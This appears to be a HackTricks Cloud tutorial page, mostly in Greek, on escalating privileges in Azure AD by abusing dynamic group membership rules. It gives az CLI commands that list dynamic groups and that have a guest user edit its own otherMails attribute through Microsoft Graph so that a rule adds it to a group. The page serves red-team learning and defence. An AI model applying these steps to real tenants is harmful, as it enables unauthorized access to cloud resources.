Az - Dynamic Groups Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Δυναμικές ομάδες είναι ομάδες που έχουν ρυθμισμένο ένα σύνολο κανόνων και όλοι οι χρήστες ή συσκευές που ταιριάζουν με τους κανόνες προστίθενται στην ομάδα. Κάθε φορά που μια ιδιότητα χρήστη ή συσκευής αλλάζεται, οι δυναμικοί κανόνες επαληθεύονται ξανά. Και όταν ένας νέος κανόνας δημιουργείται, όλες οι συσκευές και οι χρήστες ελέγχονται.

Οι δυναμικές ομάδες μπορούν να έχουν ρόλους Azure RBAC ανατεθειμένους σε αυτές, αλλά δεν είναι δυνατή η προσθήκη ρόλων AzureAD σε δυναμικές ομάδες.

Αυτή η δυνατότητα απαιτεί άδεια Azure AD premium P1.

Privesc

Σημειώστε ότι από προεπιλογή οποιοσδήποτε χρήστης μπορεί να προσκαλεί επισκέπτες στο Azure AD, οπότε, αν ένας κανόνας δυναμικής ομάδας δίνει δικαιώματα σε χρήστες με βάση ιδιότητες που μπορούν να ρυθμιστούν σε έναν νέο επισκέπτη, είναι δυνατό να δημιουργηθεί ένας επισκέπτης με αυτές τις ιδιότητες και να ανεβούν τα δικαιώματα. Είναι επίσης δυνατό για έναν επισκέπτη να διαχειρίζεται το προφίλ του και να αλλάζει αυτές τις ιδιότητες.

Αποκτήστε ομάδες που επιτρέπουν Δυναμική συμμετοχή: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Example

• Παράδειγμα κανόνα: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")

• Περιγραφή κανόνα: Οποιοσδήποτε επισκέπτης χρήστης με δευτερεύον email που περιέχει τη λέξη 'security' θα προστεθεί στην ομάδα

Για το email του επισκέπτη χρήστη, αποδεχτείτε την πρόσκληση και ελέγξτε τις τρέχουσες ρυθμίσεις αυτού του χρήστη στο https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView. Δυστυχώς, η σελίδα δεν επιτρέπει την τροποποίηση των τιμών των ιδιοτήτων, οπότε πρέπει να χρησιμοποιήσουμε το API:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["[e-mail]", "[e-mail]"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Αναφορές

• https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!

• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.

• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.